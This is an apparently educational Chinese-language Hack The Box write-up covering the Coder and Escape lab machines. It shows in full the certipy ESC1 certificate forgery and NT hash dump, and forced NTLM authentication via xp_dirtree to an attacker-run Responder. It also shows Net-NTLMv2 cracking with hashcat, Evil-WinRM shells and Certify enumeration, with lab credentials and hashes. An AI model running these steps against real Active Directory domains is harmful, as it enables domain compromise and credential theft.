    Certificate Validity End            : 2052-06-29 04:01:44+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CODER.HTB\Administrators
      Access Rights
        ManageCertificates              : CODER.HTB\Administrators
                                          CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        ManageCa                        : CODER.HTB\Administrators
                                          CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        Enroll                          : CODER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : 0xdf-ESC1
    Display Name                        : 0xdf-ESC1
    Certificate Authorities             : coder-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : AutoEnrollment
    Private Key Flag                    : AttestNone
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CODER.HTB\Erron Black
      Object Control Permissions
        Owner                           : CODER.HTB\Erron Black
        Full Control Principals         : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Owner Principals          : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Dacl Principals           : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Property Principals       : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'CODER.HTB\\Erron Black' can enroll, enrollee supplies subject and template allows client authentication
      ESC4                              : Template is owned by CODER.HTB\Erron Black
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder14.png)

ESC1是配置的，ESC4是因为e.black拥有模板(因此可以滥用它)。

 - Exploit ESC1

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- ntpdate dc01.coder.htb
2023-12-20 23:14:02.635290 (-0500) -0.015002 +/- 0.157799 dc01.coder.htb 10.10.11.207 s1 no-leap
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- certipy req -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -ca coder-DC01-CA -template 0xdf-ESC1 -upn administrator@coder.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 25
[*] Got certificate with UPN 'administrator@coder.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder15.png)

使用administrator.pfx dump administrator的NTLM hash

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@coder.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder16.png)


#### WinRM administrator shell

``` bash
-<ROOT@kali:~/hackthebox/machine/coder>-                                                                          -<pts/6>-
-<#>- evil-winrm -i dc01.coder.htb -u administrator -H 807726fcf9f188adc26eeafd7dc16bb7

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
coder\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
9480de5c3cdffb5a4e42606911ff066e
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Coder17.png)


#### Reference Sources

 - [0xdf's blog Coder walkthrough](https://0xdf.gitlab.io/2023/12/16/htb-coder.html)
 - [SharpHound v1.1.1](https://github.com/BloodHoundAD/SharpHound/releases/download/v1.1.1/SharpHound-v1.1.1.zip)
 - [bloodhound 4.3.1](https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/BloodHound-win32-x64.zip)
 - [InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak)
 - [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
 - [ADCSTemplate](https://github.com/GoateePFE/ADCSTemplate)
 - [impacket](https://github.com/fortra/impacket)
 - [Certipy](https://github.com/ly4k/Certipy)
 - [Abusing Active Directory Certificate Services – Part One](https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/)

<!-- kb:end coder -->

</details>

<a id="case-escape"></a>

## SQL 服务账户与两种身份路径

MSSQL 认证请求和日志凭据引向证书模板。原文同时保留证书路径与 Silver Ticket 路径，并记录两者使用的密钥、SID 与服务权限。

<p class="kb-provenance">来源 escape · 原记录 2023-06-18 · 38 个代码块 · 11 处图片引用</p>

<details class="kb-evidence" id="record-escape">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start escape -->

#### 简述

本文是medium难度的HTB Escape机器的域渗透部分，其中Net-NTLMv2, ADCS, PTH, Silver Ticket等域渗透细节是此box的特色，主要参考[0xdf's blog Escape walkthrough](https://0xdf.gitlab.io/2023/06/17/htb-escape.html)和[HTB's official Escape walkthrough](https://app.hackthebox.com/machines/Escape/walkthroughs)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape.png)



#### 信息收集
#### nmap

``` bash
nmap -p- --min-rate 10000 10.10.11.202
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49668/tcp open  unknown
49691/tcp open  unknown
49692/tcp open  unknown
49708/tcp open  unknown
49712/tcp open  unknown
63474/tcp open  unknown
```

看起来是Windows域控制器，基于标准的Windows，如SMB(445)、NetBIOS(135/139)、LDAP(389等)和WinRM(5985)，以及通常在dc上的53 (DNS)和88 (Kerberos)。还有一个MSSQL服务器(1433)。

nmap运行LDAP脚本显示了sequel.htb的域名。TLS证书是针对dc.sequel.htb的。添加这些，以及主机名dc到/etc/hosts文件:

``` bash
10.10.11.202    dc.sequel.htb sequel.htb dc
```

最后，注意到这个服务器上的时钟与本地时钟相差8个小时。需要同步它来做Kerberos操作。

#### TLS证书

深入地研究使用中的TLS证书，使用openssl将其拉出并格式化:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# openssl s_client -showcerts -connect 10.10.11.202:3269  | openssl x509 -noout -text
Can't use SSL_get_servername
depth=0 CN = dc.sequel.htb
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = dc.sequel.htb
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = dc.sequel.htb
verify return:1
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            1e:00:00:00:04:90:52:7b:fc:91:38:74:2f:00:00:00:00:00:04
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC = htb, DC = sequel, CN = sequel-DC-CA
        Validity
            Not Before: Nov 18 21:20:35 2022 GMT
            Not After : Nov 18 21:20:35 2023 GMT
        Subject: CN = dc.sequel.htb
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a6:92:78:aa:2e:fe:07:2f:e4:d9:88:f2:d4:9f:
                    37:64:9d:73:fe:ca:4e:ef:85:bd:b5:46:70:3d:f8:
                    2f:98:38:f4:28:17:f8:15:1d:c8:37:d1:ad:2e:08:
                    d5:5f:a0:87:c1:3b:5e:cf:c9:1d:97:6b:5c:e7:c1:
                    c1:f2:8f:41:e2:6c:9a:2a:3c:e1:2a:64:57:d7:47:
                    98:69:27:b4:89:c4:f9:7d:95:28:2c:3c:42:53:3e:
                    28:bb:f7:db:b4:cd:c0:52:d3:c4:5c:a0:68:92:e0:
                    67:8b:ec:7c:c0:cd:97:a5:45:d1:ce:75:d6:3c:bd:
                    f0:a9:01:6c:07:dd:69:32:e6:f5:67:3f:ca:99:ec:
                    b7:11:98:31:4f:8d:cf:74:f6:38:09:92:70:0e:fa:
                    48:51:e5:e0:db:dd:c7:1b:5a:ff:c8:ca:97:df:50:
                    19:e1:e3:cb:78:d6:03:a5:8c:e8:7c:a8:38:0b:92:
                    bf:da:66:8d:fb:04:d3:67:5b:7a:01:18:aa:01:60:
                    50:af:11:51:4c:7e:af:4c:ea:13:e8:d1:7e:e8:7c:
                    40:2d:71:71:c5:6c:3f:ec:ea:df:27:85:a5:e5:8e:
                    6e:8b:51:f9:bd:64:b5:7a:b9:d5:3c:4f:7c:6a:22:
                    63:7b:70:79:99:3b:0f:73:3c:3b:a0:a0:45:11:db:
                    33:45
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            1.3.6.1.4.1.311.20.2:
                . .D.o.m.a.i.n.C.o.n.t.r.o.l.l.e.r
            X509v3 Extended Key Usage:
                TLS Web Client Authentication, TLS Web Server Authentication
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            S/MIME Capabilities:
......0...`.H.e...*0...`.H.e...-0...`.H.e....0...`.H.e....0...+....0
..*.H..
            X509v3 Subject Key Identifier:
                22:E2:60:5F:A1:1E:F7:90:9E:56:2A:7B:95:BB:4C:0E:DE:6C:58:87
            X509v3 Authority Key Identifier:
                62:9F:32:A3:A0:F0:38:20:D4:60:C0:CD:6D:C5:FA:51:30:5E:C3:15
            X509v3 CRL Distribution Points:
                Full Name:
                  URI:ldap:///CN=sequel-DC-CA,CN=dc,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=sequel,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint
            Authority Information Access:
                CA Issuers - URI:ldap:///CN=sequel-DC-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=sequel,DC=htb?cACertificate?base?objectClass=certificationAuthority
            X509v3 Subject Alternative Name:
                othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        92:e4:4b:28:07:bc:2f:a3:51:de:8c:0f:4e:e7:ea:f3:7e:fd:
        56:c4:6e:88:fe:fb:6a:9a:51:98:eb:5d:c6:49:7f:6e:2d:f3:
        91:13:8b:11:26:c0:ff:b1:8e:cb:ee:c3:c8:af:c5:5f:8e:ac:
        f1:19:b2:2a:49:ed:cc:0f:8f:17:9d:45:cc:23:a5:e5:f2:ab:
        bf:85:b3:36:51:f5:0f:d0:c2:03:06:87:0a:56:08:b5:60:fd:
        ee:c8:f4:78:84:39:1b:bf:69:c1:f9:00:83:ac:5e:9d:28:4c:
        1e:cd:f6:b3:02:7e:b0:88:b3:72:80:53:df:74:a7:25:7e:26:
        1c:df:b1:e5:63:26:28:97:98:a7:a2:be:fb:cb:26:e9:27:c1:
        89:ae:95:a9:e5:78:e6:52:5a:59:63:72:45:d6:cf:6f:6b:9c:
        a4:1f:38:33:35:08:93:7b:b1:6a:0d:18:df:87:de:15:65:43:
        32:62:84:cf:2a:9b:d3:4e:d4:f2:e2:9e:95:24:3c:0a:b9:26:
        8b:ec:3a:fa:fb:e5:93:af:22:04:9b:11:ad:21:63:bb:48:a1:
        07:68:13:06:d9:31:23:02:40:37:4e:4a:5a:48:e9:f8:c9:81:
        ed:74:bc:26:69:fd:85:20:48:bf:1b:82:dc:ed:b4:21:98:37:
        dd:8b:2a:b4

read:errno=104
```

注意颁发证书的证书颁发机构sequel-DC-CA。

#### SMB - TCP 445
#### List

使用crackmapexec访问SMB

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# crackmapexec smb 10.10.11.202 --shares
SMB         10.10.11.202    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.202    445    DC               [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
```

使用任何用户名和空密码:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# crackmapexec smb 10.10.11.202 -u fdnotreallyausername -p '' --shares
SMB         10.10.11.202    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.202    445    DC               [+] sequel.htb\fdnotreallyausername:
SMB         10.10.11.202    445    DC               [+] Enumerated shares
SMB         10.10.11.202    445    DC               Share           Permissions     Remark
SMB         10.10.11.202    445    DC               -----           -----------     ------
SMB         10.10.11.202    445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.202    445    DC               C$                              Default share
SMB         10.10.11.202    445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.202    445    DC               NETLOGON                        Logon server share
SMB         10.10.11.202    445    DC               Public          READ
SMB         10.10.11.202    445    DC               SYSVOL                          Logon server share
```

#### Public

能访问的唯一共享是Public。使用-N为空密码，将pdf文件下载下来:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# smbclient //10.10.11.202/Public -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 19 06:51:25 2022
  ..                                  D        0  Sat Nov 19 06:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 08:39:43 2022

                5184255 blocks of size 4096. 1470835 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (8.3 KiloBytes/sec) (average 8.3 KiloBytes/sec)
```

#### SQL Server Procedures.pdf

这个文档只有一页多一点，里面有连接到MSSQL的信息:

``` bash
user PublicUser and password GuestUserCantWrite1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape1.png)

该用户名/密码无法通过WinRM进行连接。

#### MSSQL

通过这些creds，可以连接到MSSQL服务器。使用Impacket工具mssqlclient.py, 该服务器上有四个数据库

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> select name from master..sysdatabases;
name

--------------------------------------------------------------------------------------------------------------------------------

master

tempdb

model

msdb

SQL>
```

#### 额外枚举

现在还可以做更多枚举:

 - 检查DNS是否存在区域传输/暴力破解子域。
 - 枚举LDAP，包含和不包含密码。
 - 用密码来运行Bloodhound。
 - 使用密码进行Kerberoast。
 - 通过Kerberos强制使用用户名/密码。

目前为止提示(域名、文档讨论的是MSSQL的事实)，沿着这个方向，如果需要的话，还会再次枚举。

#### Shell as sql_svc
#### 运行命令失败

尝试的第一件事是使用xp_cmdshell存储过程通过MSSQL服务器运行命令。但是失败了:

``` bash
SQL> xp_cmdshell whoami
[-] ERROR(DC\SQLMOCK): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
```

尝试启用它(正如在[scramble的Alternative Roots](https://0xdf.gitlab.io/2022/10/01/htb-scrambled-beyond-root.html#get-execution-via-mssql)中所示)，但这个帐户没有权限:

``` bash
SQL> EXECUTE sp_configure 'show advanced options', 1
[-] ERROR(DC\SQLMOCK): Line 105: User does not have permission to perform this action.
```

#### 获取Net-NTLMv2

数据库中没有有用的数据，不能运行命令。接下来要尝试的是让SQL服务器连接回我的主机并进行身份验证，并捕获可以尝试暴力破解的challenge/response。在[Querier](https://0xdf.gitlab.io/2019/06/22/htb-querier.html#database-privesc-reporter--mssql-svc)和[Getting Creds via NTLMv2](https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html#database-access)中都展示了这一点。

在这里启动[Responder](https://github.com/lgandx/Responder)作为root监听tun0接口的一堆服务

唯一关心的是SMB。现在告诉MSSQL读取主机上共享的文件:

``` bash
SQL> EXEC xp_dirtree '\\10.10.16.2\share', 1, 1
```

没有返回任何东西，但在Responder有一个"hash":

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.2]
    Responder IPv6             [dead:beef:4::1000]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-H6VOL0QMDH2]
    Responder Domain Name      [ZXWC.LOCAL]
    Responder DCE-RPC Port     [49831]

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[SMB] NTLMv2-SSP Client   : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::sequel:a052ed0636102870:E34517E6D5F61D5423F401D9A35B8AE0:010100000000000000FA92A342A2D901C3A576838D8EBA6E00000000020008005A0058005700430001001E00570049004E002D004800360056004F004C00300051004D0044004800320004003400570049004E002D004800360056004F004C00300051004D004400480032002E005A005800570043002E004C004F00430041004C00030014005A005800570043002E004C004F00430041004C00050014005A005800570043002E004C004F00430041004C000700080000FA92A342A2D9010600040002000000080030003000000000000000000000000030000012E38F1D56C0404175A7C4C531D6164BC569F5ABDD833B040000C1B5F25101B90A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0032000000000000000000
```

#### 破解Net-NTLMv2 hash

用hashcat破解。自动检测模式找到5600的哈希类型:

``` bash
hashcat.exe -m 5600 password.txt rockyou.txt

Approaching final keyspace - workload adjusted.

sql_svc::sequel:a052ed0636102870:E34517E6D5F61D5423F401D9A35B8AE0:010100000000000000FA92A342A2D901C3A576838D8EBA6E00000000020008005A0058005700430001001E00570049004E002D004800360056004F004C00300051004D0044004800320004003400570049004E002D004800360056004F004C00300051004D004400480032002E005A005800570043002E004C004F00430041004C00030014005A005800570043002E004C004F00430041004C00050014005A005800570043002E004C004F00430041004C000700080000FA92A342A2D9010600040002000000080030003000000000000000000000000030000012E38F1D56C0404175A7C4C531D6164BC569F5ABDD833B040000C1B5F25101B90A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0032000000000000000000:REGGIE1234ronnie

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SQL_SVC::sequel:a052ed0636102870:e34517e6d5f61d5423...000000
Time.Started.....: Mon Jun 19 12:21:19 2023 (1 sec)
Time.Estimated...: Mon Jun 19 12:21:20 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 18688.5 kH/s (4.62ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Speed.#3.........:   447.9 kH/s (9.23ms) @ Accel:16 Loops:1 Thr:64 Vec:1
Speed.#*.........: 19136.3 kH/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 12910592/14344386 (90.00%)
Rejected.........: 0/12910592 (0.00%)
Restore.Point....: 9633792/14344386 (67.16%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: benbaay -> 2322434917
Candidates.#3....: 2229sr -> 2129
Hardware.Mon.#1..: Temp: 53c Util: 23% Core:1245MHz Mem:6000MHz Bus:8
Hardware.Mon.#3..: N/A

Started: Mon Jun 19 12:20:58 2023
Stopped: Mon Jun 19 12:21:21 2023
```

 - 密码为: REGGIE1234ronnie

#### WINRM

有了这个密码，可以使用[Evil-WinRM](https://github.com/Hackplayers/evil-winrm)获得sql_svc的shell:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape2.png)

#### Shell as Ryan.Cooper
#### Enumeration
#### 文件系统

sql_svc的home目录基本上是空的。Ryan.Cooper是主机上唯一一个拥有home目录的用户:

``` bash
*Evil-WinRM* PS C:\users> ls


    Directory: C:\users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:58 AM                Administrator
d-r---        7/20/2021  12:23 PM                Public
d-----         2/1/2023   6:37 PM                Ryan.Cooper
d-----         2/7/2023   8:10 AM                sql_svc
```

在C盘的根目录下，Public和SQLServer文件夹是不常见的:

``` bash
*Evil-WinRM* PS C:\> ls


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/1/2023   8:15 PM                PerfLogs
d-r---         2/6/2023  12:08 PM                Program Files
d-----       11/19/2022   3:51 AM                Program Files (x86)
d-----       11/19/2022   3:51 AM                Public
d-----         2/1/2023   1:02 PM                SQLServer
d-r---         2/1/2023   1:55 PM                Users
d-----         2/6/2023   7:21 AM                Windows
```

Public只有SQL Server PRocedures.pdf文件。

SQLServer安装如下:

``` bash
*Evil-WinRM* PS C:\SQLServer> ls

    Directory: C:\SQLServer

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:06 AM                Logs
d-----       11/18/2022   1:37 PM                SQLEXPR_2019
-a----       11/18/2022   1:35 PM        6379936 sqlexpress.exe
-a----       11/18/2022   1:36 PM      268090448 SQLEXPR_x64_ENU.exe
```

logs目录下有一个文件

``` bash
*Evil-WinRM* PS C:\SQLServer\Logs> ls

    Directory: C:\SQLServer\Logs

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK
```

#### ERRORLOG.BAK

该文件包含来自SQL服务器的日志:

``` bash
*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
2022-11-18 13:43:05.96 Server      Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
        Sep 24 2019 13:48:23
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)

2022-11-18 13:43:05.97 Server      UTC adjustment: -8:00
2022-11-18 13:43:05.97 Server      (c) Microsoft Corporation.
2022-11-18 13:43:05.97 Server      All rights reserved.
2022-11-18 13:43:05.97 Server      Server process ID is 3788.
2022-11-18 13:43:05.97 Server      System Manufacturer: 'VMware, Inc.', System Model: 'VMware7,1'.
2022-11-18 13:43:05.97 Server      Authentication mode is MIXED.
...[snip]...
```

在日志的最后，有这些信息:

``` bash
...[snip]...
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
...[snip]...
```

看起来像Ryan.Cooper可能输错了密码，他输入的密码是"NuclearMosquito3"作为用户名。如果Ryan在登录时按enter而不是tab键，就可能发生这种情况。

#### WinRM

使用该密码用winrm连接

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# evil-winrm -i 10.10.11.202 -u ryan.cooper -p NuclearMosquito3

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> cat ../Desktop/user.txt
47e8a7ffa5ff5b79ea0eeb5906ec2a46
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape3.png)

#### Shell as administrator
#### Enumeration
#### 确认 ADCS

在Windows域上总是需要枚举的一件事是查找Active Directory证书服务(ADCS)。检查这一点的一个快速方法是使用crackmapexec(它可以作为sql_svc或Ryan.Cooper用户):

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
SMB         10.10.11.202    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.202    636    DC               [+] sequel.htb\ryan.cooper:NuclearMosquito3
ADCS                                                Found PKI Enrollment Server: dc.sequel.htb
ADCS                                                Found CN: sequel-DC-CA
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape4.png)

与之前发现的CA相同

#### 识别易受攻击模板

随着ADCS的运行，下一个问题是这个ADCS中是否有任何不安全模板配置。为了进一步枚举，通过从[SharpCollection](https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.7_Any)下载一个[Certify](https://github.com/GhostPack/Certify)并将其上传到Escape:

``` bash
*Evil-WinRM* PS C:\programdata> upload Certify.exe

Info: Uploading /root/hackthebox/machine/escape/Certify.exe to C:\programdata\Certify.exe

Data: 236884 bytes of 236884 bytes copied

Info: Upload successful!
```

Certify的README介绍了如何列举和滥用证书服务。首先，显示运行Certify.exe find /vulnerable 默认，这将查看标准低权限组。或加上 /currentuser来跨组查找当前用户，这两种方法都可以。

在打印有关企业CA的一些信息后，列出一个易受攻击的证书模板:

``` bash
*Evil-WinRM* PS C:\programdata> .\Certify.exe find /vulnerable /currentuser

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Find certificate templates
[*] Using current user's unrolled group SIDs for vulnerability checks.
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'

[*] Listing info about the Enterprise CA 'sequel-DC-CA'

    Enterprise CA Name            : sequel-DC-CA
    DNS Hostname                  : dc.sequel.htb
    FullName                      : dc.sequel.htb\sequel-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=sequel-DC-CA, DC=sequel, DC=htb
    Cert Thumbprint               : A263EA89CAFE503BB33513E359747FD262F91A56
    Cert Serial                   : 1EF2FA9A7E6EADAD4F5382F4CE283101
    Cert Start Date               : 11/18/2022 12:58:46 PM
    Cert End Date                 : 11/18/2121 1:08:46 PM
    Cert Chain                    : CN=sequel-DC-CA,DC=sequel,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
